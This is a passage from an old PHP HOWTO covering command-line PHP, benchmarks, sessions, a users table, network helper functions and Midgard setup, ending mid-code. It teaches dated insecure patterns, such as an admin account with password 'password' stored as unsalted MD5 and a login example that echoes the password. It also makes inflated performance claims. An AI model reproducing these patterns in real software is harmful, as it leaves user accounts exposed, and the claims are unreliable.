 Next Previous Contents

18. General purpose programming with PHP

PHP is very powerful and is designed such that it can replace awk, sed, UNIX shell, perl, "C", C++ and Java.

The object oriented features of PHP is developing very rapidly and in near future will surpass the object oriented features of Java language. All the object oriented features are implemented in PHP via class keyword just like in Java.

If you build the CGI version of PHP, you can use it from the command line simply typing: php filename where filename is the file you want to parse. You can also create standalone PHP scripts by making the first line of your script look something like:

    #!/usr/local/bin/php -q
The "-q" suppresses the printing of the HTTP headers. You can leave off this option if you like.

If you want to use PHP as a stand-alone program, just like a shell script, "C" or perl program, then use this technique:

bash$ php -q filename.php
bash$ php -h
bash$ php -?
bash$ /usr/bin/php -?
bash$ php -i
The command php filename.php will execute the file filename.php. You are invoking the php program which you wrote in filename.php from the bash commmandline instead of from the web-browser.

On Microsoft Windows platform you will bringup a MSDOS prompt from Start->Run->cmd and put C:\Program Files\php\bin in your path environment and

C:\> php -q filename.php
C:\> php -h
C:\> php -?
or
C:\> c:\Program Files\php\bin\php filename.php

18.1 Standalone MS Windows GUI applications using PHP

Since PHP is general purpose scripting language and is like a "glue" language, you can use it develop standalone MS Windows GUI applications. PHP can be very easily combined with MS Windows C++ GUI classes to create GUI applications. And developing applications with PHP is extremely fast as it is a scripting language and it's runtime performance is also excellent as compared with other scripting languages like Perl, Visual Basic and Python.

PHP can also be used for developing standalone GUI applications for Linux/UNIX'es.


PHP HOW-TO: Performance benchmarking - PHP, ASP, JSP, Coldfusion

 Next Previous Contents

19. Performance benchmarking - PHP, ASP, JSP, Coldfusion

It is very important to bear in mind that performance and running speed of the web scripting engine must be given TOP PRIORITY. That is, how many pages per second the scripting engine can pump out to the browser clients. The greater the number of pages pumped out to clients in a given period of time, then the better and more powerful the scripting engine is.

The Zdnet did a evaluation and benchmarking of 4 web scripting languages. During benchmarking, the same spec and identical cpu, memory boxes were used. Under identical conditions, it was found that PHP was the fastest - about 3.7 times faster than JSP and about 1.2 times faster than ASP. Read the report at eWeek and mirror-site The benchmark results are -

  • PHP pumped out about 47 pages/second
  • Microsoft ASP pumped out about 43 pages/second
  • Allaire ColdFusion pumped out about 29 pages/second
  • Sun Java JSP pumped out about 13 pages/second

See also PHP, ASP benchmarks at http://aldev0.virtualave.net/php-perl-benchmarks.html

Whenever you design a web site, give attention to these important points:

  • Speed of web scripting engine - how many pages per second it can pump out.
  • KISS policy (Keep It Simple Stupid!!) - your web page should be very simple without any fancy graphics (because web users do not want to wait for long and they want the information very fast). And information they read is just plain text!!


PHP HOW-TO: Limitations of PHP

 Next Previous Contents

20. Limitations of PHP

Everything has limitations or disadvantages and PHP is no exception. The following are the limitations of PHP (so be WARNED !!)

  1. PHP is NOT 100 % pure Object Oriented scripting language. But in near future PHP may support 100% object oriented scripting (PHP may imitate most of the syntax of Java language). PHP already imitates some features of Java language. (In future PHP language will imitate most features of Java language and Java programmers will love PHP. And PHP will have java keywords like class, extends, interface, implements, public, protected, private etc..).
  2. PHP will NOT give the performance of "C" or "C++" language. Because it is scripting language and is interpreted it will be a bit slower than the optimized "C++" programs. For top performance, you should use "C++" and fast-CGI with database/webserver connection pooling and use C++ compiler optimizer "-O3" options. Zend optimizer in PHP 4 will speed up the performance of PHP and bring it very close to optimized "C" code .
  3. But note a point that PHP was designed for very Rapid Web-Application Development tool. If it takes about 3 months to code a web application in C++, then using PHP you can develop the same web application in just 4 days!! And with zend optimizer, the speed of execution of PHP will be very close to that of equivalent C++ program!! Hence, there is really no advantage in using C/C++ for web development. PHP itself is written in 100% "C" language.

On the other hand, PHP has lot of advantages and it's advantages outweigh it's limitations -

  1. You can very rapidly develop web applications in PHP as compile and link is eliminated in PHP scripting language.
  2. PHP applications are very stable and do not depend on the browser technologies unlike Javascript applications which depend on browsers. PHP will give you the freedom to select any server platform. The browser does not know that the HTML page is generated by PHP !!
  3. PHP has excellent database conectivity to all SQL database servers.
  4. PHP has partial support for Object oriented features
  5. PHP has C++, Perl, Javascript like syntax features and has programs like 'ptags/ctags' to navigate the source code
  6. PHP has Zend optimizer which speeds up the performance
  7. PHP runs on all UNIX'es, linux, Windows 95/NT/2000 and is more powerful than ASP, JSP and others.
  8. PHP has a very large user base and developer base.

See also Python: If you want 100% pure Object Oriented scripting language than you MUST consider Python. The 'Python' is a object oriented scripting language from ground up. You would be using the Python Web Application server called 'Zope' which is available at - http://www.zope.org and python is at http://www.python.org


PHP HOW-TO: PHP Tutorial

 Next Previous Contents

21. PHP Tutorial

Visit the following PHP tutorial sites -

  • PHP Resource index - important PHP site - has complete scripts, Functions, classes, documentation, examples and tutorials http://php.resourceindex.com
  • PHP portal http://zend.com

  • PHP Hot scripts site http://www.hotscripts.com/PHP

  • Very popular PHP resources http://php.resourceindex.com and CGI-Resources

  • Simple tutorial http://www.php.net/tut.php
  • Web Monkey http://hotwired.lycos.com/webmonkey/99/21/index2a.html
  • Dev Shed http://www.devshed.com/Server_Side/PHP/Introduction
  • PHP TidBits http://www.htmlwizard.net/resources/tutorials
  • PHP Builder http://www.phpbuilder.com/getit
  • PHP tutorials at http://www.cgi-network.net

In this tutorial we assume that your server has support for PHP activated and that all files ending in .php are handled by PHP. If you are using Apache then you should edit httpd.conf and make appropriate changes to enable PHP.

Your first PHP-enabled page: Create a file named hello.php and in it put the following lines:

<html>
<head>
<title>
PHP Test</title>
</head>
<body>
<h1>
This is an example of php script.
<br>
Below, you will see one line saying 'Hello World' and 'foo is foobar':
</h1>
<?php
echo "Hello World";
$foo = "foobar";
echo "<br>foo is $foo";
?>
</body>
</html>

Copy this file hello.php to the directory known to Apache, like /var/www/html which is also known as DocumentRoot in httpd.conf file. Now, to run this example, bring up a web browser and type the URL http://localhost/hello.php or you can type http://127.0.0.1/hello.php. But make sure you bring up Apache web server on your system. When you run the example you will get an output like:

This is an example of php script.
Below, you will see one line saying 'Hello World' and 'foo is foobar':

Hello World
foo is foobar
If you get some errors or if you see the file with tags then your Apache Web server may not be working properly or PHP is not enabled.

Note that this is not like a CGI script. Think of it as a normal HTML file which happens to have a set of special tags available to you.

If you tried this example and it didn't output anything, chances are that the server you are on does not have PHP enabled. Ask your administrator to enable it for you.

The point of the example is to show the special PHP tag format. In this example we used < ?php to indicate the start of a PHP tag. Then we put the PHP statement and left PHP mode by adding the closing tag, ? > . You may jump in and out of PHP mode in an HTML file like this all you want.

We are going to check what sort of browser the person viewing the page is using. In order to do that we check the user agent string that the browser sends as part of its request. This information is stored in a variable. Variables always start with a dollar-sign in PHP. The variable we are interested in is $HTTP_USER_AGENT. To display this variable we can simply do:

      <?php echo $HTTP_USER_AGENT; ?>

For the browser that you are using right now to view this page, this displays:

Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)

There are many other variables that are automatically set by your web server. You can get a complete list of them by creating a file that looks like this:

      <?php phpinfo()?>

Then load up this file in your browser and you will see a page full of information about PHP along with a list of all the variables available to you.

You can put multiple PHP statements inside a PHP tag and create little blocks of code that do more than just a single echo.

      <?php
      if(strstr($HTTP_USER_AGENT,"MSIE")) {
          echo "You are using Internet Explorer<br>";
      }
      ?>

We can take this a step further and show how you can jump in and out of PHP mode even in the middle of a PHP block:

        <?php
        if(strstr($HTTP_USER_AGENT,"MSIE"))
        {
                ?>
                <center><b>You are using Internet Explorer</b></center>
                <?
        }
        else
        {
                ?>
                <center><b>You are not using Internet Explorer</b></center>
                <?
        }
        ?>
Instead of using a PHP echo statement to output something, we jumped out of PHP mode and just sent straight HTML. The important and powerful point to note here is that the logical flow of the script remain intact. Only one of the HTML blocks will end up getting sent to the viewer. Running this script right now results in:

You are using Internet Explorer

Dealing with Forms

One of the most powerful features of PHP is the way it handles HTML forms. The basic concept that is important to understand is that any form element in a form will automatically result in a variable with the same name as the element being created on the target page. This probably sounds confusing, so here is a simple example. Assume you have a page with a form like this on it:

      <form action="action.php3" method="POST">
      Your name: <input type=text name=name>
      You age: <input type=text name=age>
      <input type=submit>
      </form>
There is nothing special about this form. It is a straight HTML form with no special tags of any kind. When the user fills in this form and hits the submit button, the action.php3 page is called. In this file you would have something like this:
      Hi <?php echo $name?>.  You are <?php echo $age?> years old.
Surprise!! The $name and $age variables are automatically set for you by PHP !!

21.1 Primer on PHP Sessions

This section is written by Ying Zhang .

Before we begin, let's quickly go over the concept of a session and the reason we need it. It's hard (for me) to define what a session is exactly, so let's use an example that should be very familiar to you -- logging in to your computer and using it every day. After you log in, your computer knows who you are. Every action that you perform is done so with your name.

So what's so special about that -- we take it for granted every time we have to login to any system. What's the big deal with doing this on the web? Well, the web (or specifically, the HTTP protocol) is connectionless. That means each request made to a web server is independent of all the other requests. Whereas your computer keeps information about you in memory and knows when you log in and out, a web server doesn't. A web server simply waits for requests and sends responses.

Let's illustrate this a little bit:

John Doe           __________         Jane Doe
  1               |          |            2
  3  ------------>|web server|<---------- 4
  5               |__________|            6

Let's say we only have two people, John Doe and Jane Doe, accessing MyMarket, and their actions are like this:

  1. John looks at the product catalog.
  2. Jane looks at the product catalog.
  3. John adds an item to his basket.
  4. Jane adds an item to her basket.
  5. John goes to the checkout.
  6. Jane goes to the checkout.

Since HTTP is connectionless, each request is completely isolated from the other requests. So how does the server know who's doing what? How does the server know that actions 1, 3, 5 are from John, and actions 2, 4, 6 are from Jane? Well, to make a long story short, the web server doesn't have to know. It can continue on happily responding to requests, session management has to be done with the backend scripting language.

What we need is a way to group together requests by the same person into the same session. This is where PHP4's session management capabilities come in. It can group together requests made from the same source (eg. client's browser) into the same session, we have to provide the smarts to associate users with sessions.

In other words, PHP4's session management can tell us requests 1, 3, and 5 belong to the same session (call it session A). Our application has to know that session A is owned by John Doe.

21.2 Session Management in PHP4

PHP4 adds some session management functions that make our life easier when dealing with sessions. The ones we are interested in are:

session_start();
session_register();

session_start() is used to start up PHP4's session management capabilities; you need to call it before you use any of the other session functions. session_register() is used to tell PHP which variables to track in the session. A typical call to these functions would look like this:

session_register("SESSION");

This tells PHP to start up the session manager, and tells PHP that the variable called SESSION is a session variable. You can register as many session variables as you like, but I prefer to only register one session variable called SESSION, and anything I need persistent I put into this variable. For example, I like to say:

session_register("SESSION");
$SESSION["var1"] = 5;
$SESSION["var2"] = 6;

instead of

session_register("var1");
session_register("var2");
$var1 = 5;
$var2 = 6;
because after you register lots of session variables, you tend to forget what they were, well, at least I do :).

Anyhow, by now you probably want to see some code in action, so create a script called session_test.php somewhere accessible, and put into it:

<?
session_start();
session_register("SESSION");

if (! isset($SESSION)) {
        $SESSION["count"] = 0;
        echo "<li>Counter initialized, please reload this page to see it increment";
} else {
        echo "<li>Waking up session $PHPSESSID";
        $SESSION["count"]++;
}
echo "<li>The counter is now $SESSION[count] ";
?>

Fire that up in your browser, the first time you hit the page, it should say " Counter initialized, please reload this page to see it increment". Each time you reload it, the counter value should increment by one. You will also see the session ID. If it does, then hurray, your PHP4 session manager works :)

So how does this work? Well, when you call session_start(), PHP4 determines a unique session ID for the client. This session ID is an MD5 hash of something (not sure what), and is either stored in a cookie on the client's PC or is propagated in the URL.

Now each time that client makes a request, PHP4 will read this session ID and load up the data for the session. When you call session_register(), you are telling PHP4 which variables you want kept in the session. Each page that loads up, the previous values for the registered variables will be reloaded, and each time the page ends PHP4 will save the values of the registered variables.

By default, PHP keeps track of the sessions in temporary files in the /tmp directory. If you leave this set to a world-readable directory, such as /tmp (the default), other users on the server may be able to hijack sessions by getting the list of files in that directory.

session.save_path defines the argument which is passed to the save handler. If you choose the default files handler, this is the path where the files are created. Defaults to /tmp.

Take a listings and see for yourself:

You will see something like this:

-rw-------   1 apache   web            10 May  7 15:27 sess_6dd9ea8e61cd49cd3ad6de8c8b8885e8
-rw-------   1 apache   web            10 May  7 19:49 sess_7d7f97afb6759948f554b00272494e52
-rw-------   1 apache   web             6 May  9 01:00 sess_8ab78830e151add9d79b628958ce4eb9
-rw-------   1 apache   web            31 May  9 11:41 sess_a3058a6bb1baf57f565c3844c8810f4b
-rw-------   1 apache   web            30 May  9 11:42 sess_c379faad83ad3dc8ab6d22c14dbab3b4
-rw-------   1 apache   web             6 May  8 01:00 sess_cd68a5054241aff1a8157c289683e869
-rw-------   1 apache   web            34 May  7 15:17 sess_cd97e41912b28c44cc0481b7d978cb61
-rw-------   1 apache   web            42 May  9 11:23 sess_d1285edd0c951c70b1aec17a5f602fc0
-rw-------   1 apache   web            30 May  9 11:42 sess_da93f6e19b6be01257d7a6453766a23d
-rw-------   1 apache   web            42 May  7 21:26 sess_e837123c1af78c538e89b47030fde337

Each one of those files is a session, let's take a look at one of them (note, you probably have to su to root to peek inside a session file). Tip: don't just cut and paste the following commands, you need to specify the name of a real file:

# more /tmp/sess_a3058a6bb1baf57f565c3844c8810f4b

You will see something like this:

SESSION|a:1:{s:5:"count";i:234;}

Does that look familiar? It should if you've ever used the serialize() and unserialize() functions in PHP. If not, don't worry about it. Anyhow, I just wanted to illustrate how sessions were stored. You can rewrite the PHP session handlers to store sessions into a database or whatever else, but that's beyond the scope of this tutorial (but it's not hard at all).

21.3 Session Propagation

There are two methods to propagate a session id:

  • Cookies

  • URL parameter
The session module supports both methods. Cookies are optimal, but since they are not reliable (clients are not bound to accept them), we cannot rely on them. The second method embeds the session id directly into URLs.

PHP is capable of doing this transparently when compiled with --enable-trans-sid. If you enable this option, relative URIs will be changed to contain the session id automatically. Alternatively, you can use the constant SID which is defined, if the client did not send the appropriate cookie. SID is either of the form session_name=session_id or is an empty string.

The following example demonstrates how to register a variable, and how to link correctly to another page using SID.

Example : Counting the number of hits of a single user

<html>
<h1>Example : Counting the number of hits of a single user</h1>
<br>
<php
session_register ("count");
$count++;
?>

Hello visitor, you have seen this page <?php echo $count; ?> times.<p>;

<php
# the <?=SID?> is necessary to preserve the session id
# in the case that the user has disabled cookies
?>

To continue, <A HREF="nextpage.php?<?=SID?>">click here</A>
<html>
The <?=SID?> is not necessary, if --enable-trans-sid was used to compile PHP.

Note: Non-relative URLs are assumed to point to external sites and hence don't append the SID, as it would be a security risk to leak the SID to a different server.

21.4 User Management and Privileges

Okay, we've spend enough time on PHP4's session management, all you really need to get out of that was the two functions session_start() and session_register(). Let's get back to the issue of keeping track of users.

PHP can help us keep track of sessions, and group requests from the same session together. Now, we have to do our part and associate user accounts with these sessions. We will use a variable called SESSION["user"] to keep track of user information. When a user logs in, we will put their information into this variable. As long as this variable is defined, we will assume that a user has logged in. When a user logs off, we will clear out this variable.

Specifically, we will keep the following information about the user:

SESSION["user"]["username"] This is the user's login ID (their nick name if you will), and it is how we tell users apart from each other.
SESSION["user"]["firstname"] The user's firstname.
SESSION["user"]["lastname"] The user's lastname.
SESSION["user"]["email"] The user's email address.
SESSION["user"]["priv"] The user's privilege level.

Let's talk a bit about the privilege levels. We are going to have two levels of security: (1) normal customers and (2) administrative users. Normal customers can use the system, browse through the catalog, and do other customer functions. Administrators can do everything a normal user can do, but also has the ability to perform system administrative functions. In real life, there are probably many more privilege levels that you want defined but we are going to keep things simple here.

This is all fine and dandy, but where do we get this user information from? We need to have a way to store all the users on the system, and the perfect place for that would be in the database. We're going to create a users table to hold all our users.

21.5 Step1: Creating the Users Table

Start up database server and login to database. Let's create the user table:

psql> CREATE TABLE users (
->   username     char(16) not null,
->   password     char(32) not null,
->   priv         char(5) not null,
->   firstname    varchar(64) not null,
->   lastname     varchar(64) not null,
->   email        varchar(128) not null,
->   phone        varchar(32) not null,
->   address      varchar(255) not null,
->   PRIMARY KEY (username),
->   UNIQUE email (email)
-> );
Notice the constraints we've put on the users table, the username is the primary key (which makes sense, you should be able to identify a user record based on the username). The email address has a unique constraint as well because we don't want duplicate email addresses.

Now let's add a record to create the root user with the password password:

psql> INSERT INTO users VALUES (
->    'root',
->    '5f4dcc3b5aa765d61d8327deb882cf99',
->    'admin',
->    'System',
->    'Administrator',
->    'root@mymarket.com',
->    '555-5555',
->    '123 5 Avenue'
-> );

Notice the password looks a bit wierd, 5f4dcc3b5aa765d61d8327deb882cf99. This is the MD5 hash of the the word "password", I won't go into details here, but the important thing to note is that it's a one-way algorithm and it always produces a 32 character string.

That's it, we have a users table to track our users, and one administrative account so we can try logging in and out of the system using the example tar file (download the example tar file from http://www.devshed.com/Server_Side/PHP/Commerce1 ).


PHP HOW-TO: Related URLs

 Next Previous Contents

22. Related URLs

Visit following locators which are related to C, C++ -

  • Vim color text editor for C++, C http://metalab.unc.edu/LDP/HOWTO/Vim-HOWTO.html
  • SQL database server for PHP PostgreSQL at pgsql-howto
  • Source code control system CVS HOWTO for C++ programs http://metalab.unc.edu/LDP/HOWTO/CVS-HOWTO.html
  • Linux goodies main site http://www.milkywaygalaxy.freeservers.com Mirror sites are at - http://aldev0.webjump.com, angelfire, geocities, virtualave, 50megs, theglobe, NBCi, Terrashare, Fortunecity, Freewebsites, Tripod, Spree, Escalix, Httpcity, Freeservers.


PHP HOW-TO: Other Formats of this Document

 Next Previous Contents

23. Other Formats of this Document

This document is published in 14 different formats namely - DVI, Postscript, Latex, Adobe Acrobat PDF, LyX, GNU-info, HTML, RTF(Rich Text Format), Plain-text, UNIX man pages, single HTML file, SGML (Linuxdoc format), SGML (Docbook format), MS WinHelp format.

This howto document is located at -

  • http://www.linuxdoc.org and click on HOWTOs and search for howto document name using CTRL+f or ALT+f within the web-browser.

You can also find this document at the following mirrors sites -

  • http://www.caldera.com/LDP/HOWTO
  • http://www.linux.ucla.edu/LDP
  • http://www.cc.gatech.edu/linux/LDP
  • http://www.redhat.com/mirrors/LDP
  • Other mirror sites near you (network-address-wise) can be found at http://www.linuxdoc.org/mirrors.html select a site and go to directory /LDP/HOWTO/xxxxx-HOWTO.html

  • You can get this HOWTO document as a single file tar ball in HTML, DVI, Postscript or SGML formats from - ftp://www.linuxdoc.org/pub/Linux/docs/HOWTO/other-formats/ and http://www.linuxdoc.org/docs.html#howto

  • Plain text format is in: ftp://www.linuxdoc.org/pub/Linux/docs/HOWTO and http://www.linuxdoc.org/docs.html#howto

  • Single HTML file format is in: http://www.linuxdoc.org/docs.html#howto

    Single HTML file can be created with command (see man sgml2html) - sgml2html -split 0 xxxxhowto.sgml

  • Translations to other languages like French, German, Spanish, Chinese, Japanese are in ftp://www.linuxdoc.org/pub/Linux/docs/HOWTO and http://www.linuxdoc.org/docs.html#howto Any help from you to translate to other languages is welcome.
The document is written using a tool called "SGML-Tools" which can be got from - http://www.sgmltools.org Compiling the source you will get the following commands like
  • sgml2html xxxxhowto.sgml (to generate html file)
  • sgml2html -split 0 xxxxhowto.sgml (to generate a single page html file)
  • sgml2rtf xxxxhowto.sgml (to generate RTF file)
  • sgml2latex xxxxhowto.sgml (to generate latex file)

23.1 Acrobat PDF format

PDF file can be generated from postscript file using either acrobat distill or Ghostscript. And postscript file is generated from DVI which in turn is generated from LaTex file. You can download distill software from http://www.adobe.com. Given below is a sample session:

bash$ man sgml2latex
bash$ sgml2latex filename.sgml
bash$ man dvips
bash$ dvips -o filename.ps filename.dvi
bash$ distill filename.ps
bash$ man ghostscript
bash$ man ps2pdf
bash$ ps2pdf input.ps output.pdf
bash$ acroread output.pdf &
Or you can use Ghostscript command ps2pdf. ps2pdf is a work-alike for nearly all the functionality of Adobe's Acrobat Distiller product: it converts PostScript files to Portable Document Format (PDF) files. ps2pdf is implemented as a very small command script (batch file) that invokes Ghostscript, selecting a special "output device" called pdfwrite. In order to use ps2pdf, the pdfwrite device must be included in the makefile when Ghostscript was compiled; see the documentation on building Ghostscript for details.

23.2 Convert Linuxdoc to Docbook format

This document is written in linuxdoc SGML format. The Docbook SGML format supercedes the linuxdoc format and has lot more features than linuxdoc. The linuxdoc is very simple and is easy to use. To convert linuxdoc SGML file to Docbook SGML use the program ld2db.sh and some perl scripts. The ld2db output is not 100% clean and you need to use the clean_ld2db.pl perl script. You may need to manually correct few lines in the document.

  • Download ld2db program from http://www.dcs.gla.ac.uk/~rrt/docbook.html or from Milkyway Galaxy site
  • Download the cleanup_ld2db.pl perl script from from Milkyway Galaxy site
The ld2db.sh is not 100% clean, you will get lots of errors when you run
        bash$ ld2db.sh file-linuxdoc.sgml db.sgml
        bash$ cleanup.pl db.sgml > db_clean.sgml
        bash$ gvim db_clean.sgml
        bash$ docbook2html db.sgml
And you may have to manually edit some of the minor errors after running the perl script. For e.g. you may need to put closing tag < /Para> for each < Listitem>

23.3 Convert to MS WinHelp format

You can convert the SGML howto document to Microsoft Windows Help file, first convert the sgml to html using:

        bash$ sgml2html xxxxhowto.sgml     (to generate html file)
        bash$ sgml2html -split 0   xxxxhowto.sgml (to generate a single page html file)
Then use the tool HtmlToHlp. You can also use sgml2rtf and then use the RTF files for generating winhelp files.

23.4 Reading various formats

In order to view the document in dvi format, use the xdvi program. The xdvi program is located in tetex-xdvi*.rpm package in Redhat Linux which can be located through ControlPanel | Applications | Publishing | TeX menu buttons. To read dvi document give the command -

        xdvi -geometry 80x90 howto.dvi
        man xdvi
And resize the window with mouse. To navigate use Arrow keys, Page Up, Page Down keys, also you can use 'f', 'd', 'u', 'c', 'l', 'r', 'p', 'n' letter keys to move up, down, center, next page, previous page etc. To turn off expert menu press 'x'.

You can read postscript file using the program 'gv' (ghostview) or 'ghostscript'. The ghostscript program is in ghostscript*.rpm package and gv program is in gv*.rpm package in Redhat Linux which can be located through ControlPanel | Applications | Graphics menu buttons. The gv program is much more user friendly than ghostscript. Also ghostscript and gv are available on other platforms like OS/2, Windows 95 and NT, you view this document even on those platforms.

  • Get ghostscript for Windows 95, OS/2, and for all OSes from http://www.cs.wisc.edu/~ghost

To read postscript document give the command -

                gv howto.ps
                ghostscript howto.ps

You can read HTML format document using Netscape Navigator, Microsoft Internet explorer, Redhat Baron Web browser or any of the 10 other web browsers.

You can read the latex, LyX output using LyX a X-Windows front end to latex.


PHP HOW-TO: Copyright

 Next Previous Contents

24. Copyright

Copyright policy is GNU/GPL as per LDP (Linux Documentation project). LDP is a GNU/GPL project. Additional requests are - Please retain the author's name, email address and this copyright notice on all the copies. If you make any changes or additions to this document then you please intimate all the authors of this document.


PHP HOW-TO: Appendix A PHP examples

 Next Previous Contents

25. Appendix A PHP examples

25.1 PostgreSQL large object Example

Submitted by: PHP code exchange px@sklar.com To get this file, in the web-browser, save this file as 'Text' type as pgsql_largeobj.lib

PX: PHP Code Exchange -
<url name="PostgreSQL" url="http://www.geocities.com/alavoor/HOWTO/pgsql/PostgreSQL-HOWTO.html">
large object access

<?
        $database = pg_Connect ( "",  "",  "",  "",  "jacarta");
        pg_exec ($database,  "BEGIN");
        $oid = pg_locreate ($database);
        echo ( "$oid\n");
        $handle = pg_loopen ($database, $oid,  "w");
        echo ( "$handle\n");
        pg_lowrite ($handle,  "foo");
        pg_loclose ($handle);
        pg_exec ($database,  "COMMIT");
        pg_close ($database);
?>

25.2 User authentication Example

To get this file, in the web-browser, save this file as 'Text' type as user_pw.lib

From the PHP 3 Manual: Works only if PHP is an Apache module. Instead of simply printing out the $PHP_AUTH_USER and $PHP_AUTH_PW, you would probably want to check the username and password for validity. Perhaps by sending a query to a database, or by looking up the user in a dbm file.

<?php
        if (!$PHP_AUTH_USER)
        {
                Header("WWW-authenticate: basic realm=\"My Realm\"");
                Header("HTTP/1.0 401 Unauthorized");
                echo "Text to send if user hits Cancel button\n";
                exit;
        }
        else
        {
                echo "Hello $PHP_AUTH_USER.<P>";
                echo "You entered $PHP_AUTH_PW as your password.<P>";
        }
?>

25.3 Network admin Example

To get this file, in the web-browser, save this file as 'Text' type as network.lib

PHP: network adminstrator's best friend from http://www.phpWizard.net

As a web-developer, you're probably used to such lovely tools as ping, whois, nslookup etc. But what when you need one of those utilities at a client's office and have no access to telnet? Good guess. Time to look up the functions in the "Network" section of the PHP manual.

Socket operations:

The most important function there is fsockopen(). Using this function, you can connect to any open port on a server and establish a socket connection with it. The function's syntax is as following:

        int fsockopen(string hostname, int port, int [errno], string [errstr]);
The first two arguments are obvious, the next two are optional and used for error handling. The "errno" and "errstr" should be passed by reference. "Passing by reference" means that the original variable will get modified. Normally, the content of a variable passed to a function wouldn't be modified.

So, you could use this function to open a connection to a webserver and print out the headers:

function get_headers($host, $path = "/")
{
        $fp = fsockopen ("$host", 80, &$errnr, &$errstr) or die("$errno: $errstr");
        fputs($fp,"GET $path HTTP/1.0\n\n");
        while (!$end)
        {
                $line = fgets($fp, 2048);
                if (trim($line) == "")
                        $end = true;
                else
                        echo $line;
        }
        fclose($fp);
}
In this example you see that you can apply any file operations (fread, fwrite etc) to the the pointer you got using the fsockopen() call. Note that the example realizes a HTTP/1.0 client - it won't work with name-based virtual hosts.

Finger: Naturally, you can also open connections to other ports. Writing a small finger client with PHP is trivial therefore. Let's change the example from above to query a finger daemon:

function finger ($host, $user)
{
        $fp = fsockopen($host, 79, &$errno, &$errstr) or die("$errno: $errstr");
        fputs($fp, "$user\n");
        while (!feof($fp))
                echo fgets($fp, 128);
        fclose($fp);
}

Whois: Querying a whois server uses the same concept:

// domain is like "phpwizard.net"
function whois($domain, $server="whois.internic.net")
{
        $fp = fsockopen ($server, 43, &$errnr, &$errstr) or die("$errno: $errstr");
        fputs($fp, "$domain\n");
        while (!feof($fp))
                echo fgets($fp, 2048);
        fclose($fp);
}

Blocking and non-blocking operations: But there's a problem with all those functions. They work fine if

  1. You have a connection with low latency and
  2. If the server you're connecting to is up and running.
If not, your script will be busy until it times out. The reason for this is that default socket connections are blocking and don't time out. You can avoid these "hanging scripts" by switching to non-blocking socket operations. The function set_socket_blocking() does just that: it set all operations on a socket (first parameter: socket pointer) to either blocking (second parameter: true) or false (second parameter: false). Using non-blocking operations, the finger function would like like this:

        $fp = fsockopen($host, 79, &$errno, &$errstr) or die("$errno: [ ] $errstr");
        set_socket_blocking($fp, 0);
        fputs($fp, "$user\n");

        $stop = time() + $timeout;
        while (!feof($fp) && time() < $stop )
                echo fgets($fp, 128);
        fclose($fp);
Modifying these 3 functions to use non-blocking socket calls is left as an exercise for you.


PHP HOW-TO: Appendix B Midgard Installation

 Next Previous Contents

26. Appendix B Midgard Installation

RPMs for Midgard from http://www.midgard-project.org/download/binaries currently do not include PostgreSQL , and hence you need to install from the source tar ball file .

Download the Midgard source tarball and read the INSTALL.REDHAT file -

bash# cd midgard-lib-1.4beta6
bash# ./configure --prefix=/usr/local --with-mysql=/usr/local --includedir=/usr/include/mysql --with-midgard=/usr/local --with-pgsql=/var/lib/pgsql --includedir=/usr/include/pgsql
bash# make
bash# make install
bash# ldconfig -v | grep -i midga
Copy the header files, just in case make install did not do that..
bash# cp *.h /usr/local/include

bash# cd ../mod_midgard-1.4beta5c
bash# ./configure --prefix=/usr/local --with-mysql=/usr/local --includedir=/usr/include/mysql --with-midgard=/usr --with-pgsql=/var/lib/pgsql --includedir=/usr/include/pgsql
bash# make
bash# make install
#modify apache line to correct /usr/.....
bash# vi /etc/httpd/conf/httpd.conf   (or it is /etc/apache/httpd.conf)
bash# /etc/init.d/apache restart
#apache should restart!!!

bash# cd ../midgard-php-1.4beta6
bash# ./configure '--with-apxs' '--with-mysql' '--with-pgsql' '--with-midgard' --prefix=/usr/local --with-midgard=/usr/local

bash# gvim Makefile
And add -I/usr/include/pgsql to INCLUDE variable.

Also add $(INCLUDE) to $(APXS) command as below -
libphp3.so: mod_php3.c libmodphp3-so.a  pcrelib/libpcre.a midgard/libphpmidgard.a
        -@test -f ./mod_php3.c || test -L ./mod_php3.c || $(LN_S) $(srcdir)/mod_php3.c ./mod_php3.c
        -@test -f ./mod_php3.c || test -h ./mod_php3.c || $(LN_S) $(srcdir)/mod_php3.c ./mod_php3.c
        $(APXS) -c -o libphp3.so  -I$(srcdir) $(INCLUDE) -I. -I/usr/local/include -I/usr/lib/glib/include  -Wl,'-rpath /usr/local/lib' ./mod_php3.c libmodphp3-so.a $(APXS_LDFLAGS)

bash# make
bash# make install
#modify apache line to correct /usr/.....
# and add lines like these -
        LoadModule php4_module        modules/libphp4.so
        AddModule mod_php4.c
        LoadModule php4_module        lib/apache/libphp4.so

        <IfModule mod_php4.c>
                AddType application/x-httpd-php4 .php4
                AddType application/x-httpd-php4 .php
                AddType application/x-httpd-php4-source .phps
                AddType application/x-httpd-php .php
        </IfModule>

bash# vi /etc/httpd/conf/httpd.conf   (or it is /etc/apache/httpd.conf)

bash# /etc/init.d/apache restart
#apache should restart!!!

26.1 Testing Midgard PHP Server

To test the installation do this - Create a file in your document root directory. I usually call it info.php and in it put this single line:

<?phpinfo()?>

Then load it up in your browser: http://localhost/info.php

You should see a nice summary page showing all sorts of information about your setup. You probably shouldn't leave this file around on a production server, but for debugging and general info during development, it is very handy.

26.2 Security OpenSSL

You may also need to get the RSA package for to enable SSL encryption from ftp://ftp.deva.net/pub/sources/crypto/rsaref20.1996.tar.Z See also OpenSSL RPM package on Linux cdrom ( http://www.openssl.org

If you do not want the SSL to be enabled (or if you face any problem), then download the source RPM of Apache-Midgard and edit the *.spec file and comment out SSL and rebuild the RPM.


PHP HOW-TO: Appendix C - Debug tool phpcodesite

 Next Previous Contents

27. Appendix C - Debug tool phpcodesite

<
?php
/*  phpCodeSite (Idea from CodeSite - Raize Software)
*  @version 0.1b - 20001125
*  @author Sébastien Hordeaux - <
marms@marms.com>
*  @licence GNU Public Licence
*  Main site : http://phpcodesite.phpedit.com
*/

/*
** How does it work ?
        Place a CS_EnterMethod() at the beginning of each method/function
        Place a CS_ExitMethod() at the beginning of each method/function
        Use CS_SendError() to log an error message
        Use CS_SendNote() to log a simple note message
        Use CS_SendMessage() to log a message
        To log variables: CS_SendVar & CS_SendArray()
        To see input data (global PHP variables) use CS_SendInputData()
*/

if(defined("FLAG_PHPCODESITE_PHP")) return FALSE;
        define("FLAG_PHPCODESITE_PHP", 1);

//  Start without increment
$CS_Step = 0;

CS_SetEnabled(TRUE);
// CS_SetEnabled(FALSE);

//  Switch between Enable/Disable mode
function CS_SetEnabled($state){
